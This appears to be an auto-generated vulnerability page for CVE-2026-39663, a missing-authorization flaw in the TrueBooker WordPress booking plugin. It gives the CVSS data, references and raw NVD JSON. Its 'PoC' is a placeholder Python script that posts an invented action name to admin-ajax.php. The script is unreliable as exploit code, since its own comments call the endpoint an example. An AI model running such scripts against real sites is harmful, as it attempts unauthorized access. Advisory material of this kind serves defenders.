CVE-2026-39663

Description

Missing Authorization vulnerability in themetechmount TrueBooker truebooker-appointment-booking allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects TrueBooker: from n/a through <= 1.1.5.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

TrueBooker <= 1.1.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_truebooker(target_url):
    """
    PoC for CVE-2026-39663: Missing Authorization in TrueBooker
    This script attempts to perform an unauthorized action.
    """
    # Target endpoint (example, actual endpoint may vary based on plugin implementation)
    url = f"{target_url}/wp-admin/admin-ajax.php"
    
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    # Payload simulating the vulnerable action
    # 'action' parameter typically triggers the plugin function
    data = {
        "action": "truebooker_vulnerable_action", 
        "data": "exploit_data"
    }
    
    try:
        response = requests.post(url, headers=headers, data=data, timeout=10)
        if response.status_code == 200:
            print(f"[+] Request sent successfully to {url}")
            print(f"[+] Response: {response.text[:200]}")
        else:
            print(f"[-] Failed to exploit. Status Code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target = "http://example.com"
    exploit_truebooker(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39663
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39663
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39663/
[4] VulDB https://vuldb.com/cve/CVE-2026-39663
[5] https://patchstack.com/database/Wordpress/Plugin/truebooker-appointment-booking/vulnerability/wordpress-truebooker-plugin-1-1-5-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39663", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:37.490", "lastModified": "2026-04-24T18:06:04.160", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in themetechmount TrueBooker truebooker-appointment-booking allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects TrueBooker: from n/a through <= 1.1.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/truebooker-appointment-booking/vulnerability/wordpress-truebooker-plugin-1-1-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}